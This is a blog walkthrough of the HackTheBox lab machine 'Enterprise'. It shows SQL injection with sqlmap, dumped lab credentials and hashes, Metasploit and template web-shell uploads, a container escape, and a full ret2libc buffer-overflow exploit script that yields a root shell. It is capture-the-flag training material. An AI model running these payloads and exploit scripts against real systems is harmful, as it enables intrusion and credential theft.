Enterprise write-up

Ανάλυση του Enterprise

· Cybersecurity Κυβερνοασφάλεια · hackthebox hackthebox windows windows

Enumeration

Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.61

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-03-15 09:28:39 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 8080/tcp on 10.10.10.61                                   
Discovered open port 443/tcp on 10.10.10.61                                    
Discovered open port 80/tcp on 10.10.10.61                                     
Discovered open port 22/tcp on 10.10.10.61                                     
Discovered open port 32812/tcp on 10.10.10.61                                  
rate:  0.00-kpps, 100.00% done, waiting 0-secs, found=5

We found TCP ports 22, 80, 443, 8080 and 32812 open. Let’s explore them using nmap:

$ sudo nmap -A -p22,80,443,8080,32812 10.10.10.61

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-15 11:33 EET
Nmap scan report for 10.10.10.61
Host is up (0.10s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-OpenSSH_7.4p1 Ubuntu-10
| ssh-hostkey: 
|   2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
|   256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_  256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (EdDSA)
80/tcp    open  http     Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: USS Enterprise – Ships Log
443/tcp   open  ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after:  2017-09-24T10:35:14
|_ssl-date: TLS randomness does not represent time
8080/tcp  open  http     Apache httpd 2.4.10 ((Debian))
|_http-generator: Joomla! - Open Source Content Management
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Home
32812/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|     Enter Bridge Access Code: 
|     Invalid Code
|     Terminating Console
|   NULL: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|_    Enter Bridge Access Code:
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port22-TCP:V=7.60%I=7%D=3/15%Time=5AAA3DEE%P=x86_64-pc-linux-gnu%r(NULL
SF:,20,"SSH-2\.0-OpenSSH_7\.4p1\x20Ubuntu-10\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port32812-TCP:V=7.60%I=7%D=3/15%Time=5AAA3DEE%P=x86_64-pc-linux-gnu%r(N
SF:ULL,ED,"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_______\x20_______\x20\x20______\x20_______\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\x
SF:20\x20\|_____\|\x20\|_____/\x20\|______\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\|_____\x20\|_____\x20\x20\|\x20\x20\x20\x20\x20\|\x20\|\x20\
SF:x20\x20\x20\\_\x20______\|\n\nWelcome\x20to\x20the\x20Library\x20Comput
SF:er\x20Access\x20and\x20Retrieval\x20System\n\nEnter\x20Bridge\x20Access
SF:\x20Code:\x20\n")%r(GenericLines,110,"\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20______\x
SF:20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x
SF:20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|______\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|\x2
SF:0\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\x20
SF:to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Syste
SF:m\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTermina
SF:ting\x20Console\n\n")%r(GetRequest,110,"\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20______
SF:\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20
SF:\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|______
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|\
SF:x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\x
SF:20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Sys
SF:tem\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTermi
SF:nating\x20Console\n\n")%r(HTTPOptions,110,"\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20___
SF:___\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\
SF:x20\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|___
SF:___\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20
SF:\|\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcom
SF:e\x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20
SF:System\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTe
SF:rminating\x20Console\n\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.8 (95%), Linux 3.8 - 3.11 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)

Brute-forcing directories and files

Port 80

$ dirb http://10.10.10.61/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Mar 15 13:28:08 2018
URL_BASE: http://10.10.10.61/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.61/ ----
+ http://10.10.10.61/index.php (CODE:301|SIZE:0)                                                                   
+ http://10.10.10.61/server-status (CODE:403|SIZE:299)                                                             
==> DIRECTORY: http://10.10.10.61/wp-admin/                                                                        
==> DIRECTORY: http://10.10.10.61/wp-content/                                                                      
==> DIRECTORY: http://10.10.10.61/wp-includes/                                                                     
+ http://10.10.10.61/xmlrpc.php (CODE:405|SIZE:42)                                                                 

---- Entering directory: http://10.10.10.61/wp-admin/ ----
+ http://10.10.10.61/wp-admin/admin.php (CODE:302|SIZE:0)                                                          
==> DIRECTORY: http://10.10.10.61/wp-admin/css/                                                                    
==> DIRECTORY: http://10.10.10.61/wp-admin/images/                                                                 
==> DIRECTORY: http://10.10.10.61/wp-admin/includes/                                                               
+ http://10.10.10.61/wp-admin/index.php (CODE:302|SIZE:0)                                                          
==> DIRECTORY: http://10.10.10.61/wp-admin/js/                                                                     
==> DIRECTORY: http://10.10.10.61/wp-admin/maint/                                                                  
==> DIRECTORY: http://10.10.10.61/wp-admin/network/                                                                
==> DIRECTORY: http://10.10.10.61/wp-admin/user/                                                                   

---- Entering directory: http://10.10.10.61/wp-content/ ----
+ http://10.10.10.61/wp-content/index.php (CODE:200|SIZE:0)                                                        
==> DIRECTORY: http://10.10.10.61/wp-content/languages/                                                            
==> DIRECTORY: http://10.10.10.61/wp-content/plugins/                                                              
==> DIRECTORY: http://10.10.10.61/wp-content/themes/                                                               
==> DIRECTORY: http://10.10.10.61/wp-content/upgrade/                                                              
==> DIRECTORY: http://10.10.10.61/wp-content/uploads/                                                              

---- Entering directory: http://10.10.10.61/wp-includes/ ----
==> DIRECTORY: http://10.10.10.61/wp-includes/certificates/                                                        
==> DIRECTORY: http://10.10.10.61/wp-includes/css/                                                                 
==> DIRECTORY: http://10.10.10.61/wp-includes/customize/                                                           
==> DIRECTORY: http://10.10.10.61/wp-includes/fonts/                                                               
==> DIRECTORY: http://10.10.10.61/wp-includes/images/

Port 443

$ dirb https://10.10.10.61/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Mar 15 12:13:24 2018
URL_BASE: https://10.10.10.61/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://10.10.10.61/ ----
==> DIRECTORY: https://10.10.10.61/files/
+ https://10.10.10.61/index.html (CODE:200|SIZE:10918)
+ https://10.10.10.61/server-status (CODE:403|SIZE:300)

---- Entering directory: https://10.10.10.61/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

Port 8080

$ dirb http://10.10.10.61:8080/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Mar 15 16:19:44 2018
URL_BASE: http://10.10.10.61:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.61:8080/ ----
+ http://10.10.10.61:8080/0 (CODE:200|SIZE:7678)
+ http://10.10.10.61:8080/01 (CODE:200|SIZE:8286)
+ http://10.10.10.61:8080/02 (CODE:200|SIZE:8595)
+ http://10.10.10.61:8080/1 (CODE:200|SIZE:8285)
+ http://10.10.10.61:8080/1x1 (CODE:200|SIZE:8287)
+ http://10.10.10.61:8080/2 (CODE:200|SIZE:8594)
+ http://10.10.10.61:8080/2g (CODE:200|SIZE:8595)
+ http://10.10.10.61:8080/about (CODE:200|SIZE:8160)
+ http://10.10.10.61:8080/About (CODE:200|SIZE:8160)

If we visit https://10.10.10.61/files/ we discover an archive lcars.zip which contains 3 files:

501 Oct 17 04:25 lcars_db.php
624 Oct 17 04:32 lcars_dbpost.php
377 Oct 17 07:53 lcars.php

If we look inside lcars.php we see some info:

...
Plugin Name: lcars
...

So, maybe there is installed a wordpress plugin named lcars… Interesting. Let’s have a look inside lcars_db.php:

<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
    // Connection Error
    exit("Couldn't connect to the database: ".mysqli_connect_error());
}

// test to retireve an ID
if (isset($_GET['query'])){
    $query = $_GET['query'];
    $sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
    $result = $db->query($sql);
    echo $result;
} else {
    echo "Failed to read query";
}
?>

Nice. I think this code begs for an SQL injection…

SQL Injection

Let’s use sqlmap to exploit this SQLI:

$ sqlmap -u "http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=22" --dbms=mysql

sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: query (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: query=(SELECT (CASE WHEN (3344=3344) THEN 3344 ELSE 3344*(SELECT 3344 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: query=(SELECT 3017 FROM(SELECT COUNT(*),CONCAT(0x716b6a7871,(SELECT (ELT(3017=3017,1))),0x716b717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
---

Let’s see what databases we have:

$ sqlmap -u "http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=22" --dbms=mysql --dbs

web server operating system: Linux Debian 8.0 (jessie)
web application technology: PHP 5.6.31, Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb

Dumping the wordpress database

Let’s dump the wordpress database:

$ sqlmap -u "http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=22" --dbms=mysql -D wordpress --dump

...
wp_posts
--------
ID,guid,pinged,to_ping,post_date,post_type,post_name,menu_order,post_title,post_status,post_parent,ping_status,post_author,post_content,post_excerpt,post_date_gmt,post_modified,comment_count,post_password,post_mime_type,comment_status,post_modified_gmt,post_content_filtered
6,http://10.10.10.61/?p=66,<blank>,<blank>,2017-09-06 15:40:30,post,<blank>,0,Passwords,draft,0,open,1,Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n ,<blank>,0000-00-00 00:00:00,2017-09-06 15:40:30,0,<blank>,<blank>,open,2017-09-06 14:40:30,<blank>
67,http://10.10.10.61/?p=67,<blank>,<blank>,2017-09-06 
...

Nice, we have found some passwords: Passwords: ZxJyhGem4k338S2Y, enterprisencc170, ZD3YxfnSjezg67JZ, u*Z14ru0p#ttj83zS6. But we lack a username. Let’s use wpscan to enumerate users:

$ wpscan --url http://10.10.10.61/wp-content -e u

...

[i] User(s) Identified:

[+] william.riker
 | Detected By: Author Posts - Display Name (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] william-riker
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

...

If we do some tests, we will see that the credentials william.riker:u*Z14ru0p#ttj83zS6 are working for http://10.10.10.61/wp-login.php

Dumping the joomladb database

Now let’s dump the joomladb database:

$ sqlmap -u "http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=22" --dbms=mysql -D joomladb --dump

edz2g_users
-----------
id,name,otep,email,block,otpKey,params,username,password,sendEmail,activation,resetCount,registerDate,requireReset,lastResetTime,lastvisitDate
400,Super User,<blank>,geordi.la.forge@10.10.10.61,0,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",geordi.la.forge,$2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy,1,0,0,2017-09-03 19:30:04,0,0000-00-00 00:00:00,2017-10-30 13:59:06
401,Guinan,<blank>,guinan@10.10.10.61,0,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",Guinan,$2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q,0,<blank>,0,2017-09-06 12:38:03,0,0000-00-00 00:00:00,0000-00-00 00:00:00

Nice, we have found the credentials geordi.la.forge:ZD3YxfnSjezg67JZ for http://10.10.10.61:8080/administrator

Getting shells

Getting shell on Wordpress container

We can get a shell on the wordpress container by editing or uploading plugins. You can do it via the web portal or metasploit etc:

msf exploit(handler) > use  exploit/unix/webapp/wp_admin_shell_upload 
msf exploit(wp_admin_shell_upload) > info

Basic options:
  Name       Current Setting     Required  Description
  ----       ---------------     --------  -----------
  PASSWORD   u*Z14ru0p#ttj83zS6  yes       The WordPress password to authenticate with
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOST      10.10.10.61         yes       The target address
  RPORT      80                  yes       The target port (TCP)
  SSL        false               no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                   yes       The base path to the wordpress application
  USERNAME   william.riker       yes       The WordPress username to authenticate with
  VHOST                          no        HTTP server virtual host

Getting shell on Joomla container

We can get a shell on the Joomla container by editing the index.php of a template: Then just visit the url of that template: http://10.10.10.61:8080/templates/beez3

Privilege escalation

Escaping from the Joomla container

We have a common shared folder /var/www/html/files/ between the Joomla container and the host on port 403. Therefore, if we upload our shell to /var/www/html/files/shell.php and then visit https://10.10.10.61/files/shell.php we can escape the Joomla container.

Getting root

Port 32812 gave some interesting output on nmap scanning. Let’s use nc to check it:

$ nc 10.10.10.61 32812
nc: using stream socket

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System

Enter Bridge Access Code:

Unfortunately we don’t know the code. But now we have a shell. Let’s see what is binding on port 32812

$ netstat -lntup | grep 32812
tcp        0      0 0.0.0.0:32812           0.0.0.0:*               LISTEN      1471/xinetd

The xinetd daemon listens for incoming requests over a network and launches the appropriate service. Let’s find what that service is:

$ pstree
systemd-+-VGAuthService
        |-accounts-daemon-+-{gdbus}
        |                 `-{gmain}
        |-acpid
        |-agetty
        |-apache2---15*[apache2]
        |-atd
        |-cron
        |-dbus-daemon
        |-dockerd-+-docker-containe-+-docker-containe-+-mysqld---37*[{mysqld}]
        |         |                 |                 `-9*[{docker-containe}]
        |         |                 |-docker-containe-+-apache2---10*[apache2]
        |         |                 |                 `-8*[{docker-containe}]
        |         |                 |-docker-containe-+-apache2-+-2*[apache2-sh-php-{msf}]
        |         |                 |                 |         `-10*[apache2]
        |         |                 |                 `-9*[{docker-containe}]
        |         |                 `-13*[{docker-containe}]
        |         |-docker-proxy---4*[{docker-proxy}]
        |         |-docker-proxy---3*[{docker-proxy}]
        |         `-16*[{dockerd}]
        |-irqbalance
        |-2*[iscsid]
        |-lvmetad
        |-lxcfs---2*[{lxcfs}]
        |-polkitd-+-{gdbus}
        |         `-{gmain}
        |-rsyslogd-+-{in:imklog}
        |          |-{in:imuxsock}
        |          `-{rs:main Q:Reg}
        |-snapd---7*[{snapd}]
        |-sshd
        |-systemd---(sd-pam)
        |-systemd-journal
        |-systemd-logind
        |-systemd-resolve
        |-systemd-timesyn---{sd-resolve}
        |-systemd-udevd
        |-vmtoolsd---{gmain}
        `-xinetd---lcars

Well, the service is named “lcars”:

$ which lcars
/bin/lcars

Using ltrace we discover the access code for lcars:

$ ltrace /bin/lcars
...
strcmp("somedummyinput\n", "picarda1")                    = -1
...

If we explore a little the lcars app, we discover that there is a segmentation fault / buffer overflow:

Enter Bridge Access Code:
picarda1

Welcome to the Library Computer Access and Retrieval System

LCARS Bridge Secondary Controls -- Main Menu: 

1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input: 
4
Disable Security Force Fields
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

Let’s find more about this using gdb:

$ gdb /bin/lcars

(gdb) $ info functions
All defined functions:

Non-debugging symbols:
0x00000508  _init
0x00000540  strcmp@plt
0x00000550  setresuid@plt
0x00000560  printf@plt
0x00000570  fflush@plt
0x00000580  fgets@plt
0x00000590  puts@plt
0x000005a0  exit@plt
0x000005b0  __libc_start_main@plt
0x000005c0  __isoc99_scanf@plt
0x000005e0  _start
0x00000620  __x86.get_pc_thunk.bx
0x00000630  deregister_tm_clones
0x00000670  register_tm_clones
0x000006c0  __do_global_dtors_aux
0x00000710  frame_dummy
0x0000074c  __x86.get_pc_thunk.dx
0x00000750  startScreen
0x000007d4  disableForcefields
0x0000085e  main_menu
0x00000b6a  unable
0x00000ba8  bridgeAuth
0x00000c91  main
0x00000d30  __libc_csu_init
0x00000d90  __libc_csu_fini
0x00000d94  _fini

Let’s have a look inside the function disableForcefields:

(gdb) $ set disassembly-flavor intel
(gdb) $ disass disableForcefields
Dump of assembler code for function disableForcefields:
   0x000007d4 <+0>:    push   ebp
   0x000007d5 <+1>:    mov    ebp,esp
   0x000007d7 <+3>:    push   ebx
   0x000007d8 <+4>:    sub    esp,0xd4
   0x000007de <+10>:    call   0x620 <__x86.get_pc_thunk.bx>
   0x000007e3 <+15>:    add    ebx,0x281d
   0x000007e9 <+21>:    call   0x750 <startScreen>
   0x000007ee <+26>:    sub    esp,0xc
   0x000007f1 <+29>:    lea    eax,[ebx-0x2173]
   0x000007f7 <+35>:    push   eax
   0x000007f8 <+36>:    call   0x590 <puts@plt>
   0x000007fd <+41>:    add    esp,0x10
   0x00000800 <+44>:    sub    esp,0xc
   0x00000803 <+47>:    lea    eax,[ebx-0x2155]
   0x00000809 <+53>:    push   eax
   0x0000080a <+54>:    call   0x590 <puts@plt>
   0x0000080f <+59>:    add    esp,0x10
   0x00000812 <+62>:    mov    eax,DWORD PTR [ebx-0x10]
   0x00000818 <+68>:    mov    eax,DWORD PTR [eax]
   0x0000081a <+70>:    sub    esp,0xc
   0x0000081d <+73>:    push   eax
   0x0000081e <+74>:    call   0x570 <fflush@plt>
   0x00000823 <+79>:    add    esp,0x10
   0x00000826 <+82>:    sub    esp,0x8
   0x00000829 <+85>:    lea    eax,[ebp-0xd0]
   0x0000082f <+91>:    push   eax
   0x00000830 <+92>:    lea    eax,[ebx-0x213c]
   0x00000836 <+98>:    push   eax
   0x00000837 <+99>:    call   0x5c0 <__isoc99_scanf@plt>
   0x0000083c <+104>:    add    esp,0x10
   0x0000083f <+107>:    sub    esp,0x8
   0x00000842 <+110>:    lea    eax,[ebp-0xd0]
   0x00000848 <+116>:    push   eax
   0x00000849 <+117>:    lea    eax,[ebx-0x2138]
   0x0000084f <+123>:    push   eax
   0x00000850 <+124>:    call   0x560 <printf@plt>
   0x00000855 <+129>:    add    esp,0x10
   0x00000858 <+132>:    nop
   0x00000859 <+133>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0000085c <+136>:    leave  
   0x0000085d <+137>:    ret    
End of assembler dump.

Let’s explain some things. In general, when we look at the disassembly code at the top of a function we’ll see something like this:

push   ebp                  //backup caller's ebp
mov    ebp,esp              //set callee's ebp to esp
sub    esp, <some number>   //stack space for local variables

The ebp register will point to the top of our stack for this frame, and esp will point to the next available byte on the stack (stacks typically grow downwards). Now, although we can try different string sizes to find out the correct size for our payload header, we can also try to calculate it. It is quite simple actually. We just find the difference between the numbers in commands that subtract from esp (sub esp, ) and those in commands that add to esp (add esp, ) till the call to __isoc99_scanf function.

...
0x000007d8 <+4>:    sub    $0xd4,%esp
...
0x000007ee <+26>:    sub    $0xc,%esp
...
0x000007fd <+41>:    add    $0x10,%esp
0x00000800 <+44>:    sub    $0xc,%esp
...
0x0000080f <+59>:    add    $0x10,%esp
...
0x0000081a <+70>:    sub    $0xc,%esp
...
0x00000823 <+79>:    add    $0x10,%esp
0x00000826 <+82>:    sub    $0x8,%esp
...

Therefore: 0xd4 + 0xc - 0x10 + 0xc - 0x10 + 0xc - 0x10 + 0x8 = 0xd0 = 208

In order to overwrite the return address (i.e. eip) with our payload, we have to add 4 to account for pushing caller’s ebp into the stack. So our payload header will be 208+4 = 212. If you don’t know what I am talking about read this: https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

Now, let’s check if ASLR is enabled on the box:

$ cat /proc/sys/kernel/randomize_va_space
0

Nice, ASLR is disabled. Now let’s find some useful addresses for our ret2libc payload:

gdb /bin/lcars
(gdb) print &system
$1 = (<text variable, no debug info> *) 0xf7e4c060 <system>
(gdb) print &exit
$2 = (<text variable, no debug info> *) 0xf7e3faf0 <exit>

find &system,+9999999,"/bin/sh"  
0xf7f70a0f

If we try to use the address 0xf7f70a0f, it won’t work because it contains a newline ASCII code (0x0a). Depending on the context, the scanf() function either removes whitespace or stops reading after a whitespace.

Let’s search for plain ‘sh’:

(gdb) find &system,+9999999,"sh"       
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582

The address 0xf7f6ddd5 seems just fine.

Autopwn script

Here is an autopwn script I wrote:

#!/usr/bin/env python2
# Author: Alamot
import time
import struct
from pwn import *
from subprocess import call

DEBUG = False
RHOST = "10.10.10.61"
RPORT = 32812

if DEBUG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

def conv(num):
    return struct.pack("<I",num)

payload = "A" * 212
payload += conv(0xf7e4c060) # system()
payload += conv(0xf7e3faf0) # exit()
payload += conv(0xf7f6ddd5) # 'sh'

r = remote(RHOST, RPORT)
r.recvuntil("Enter Bridge Access Code: ")
r.sendline("picarda1")
r.recvuntil("Waiting for input: ")
r.sendline("4")
r.recvuntil("Enter Security Override:")
r.sendline(payload)
r.interactive()

That’s all folks! :)

$ ./pwn_lcars.py 
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode

$ whoami
root

See also...

Δείτε επίσης...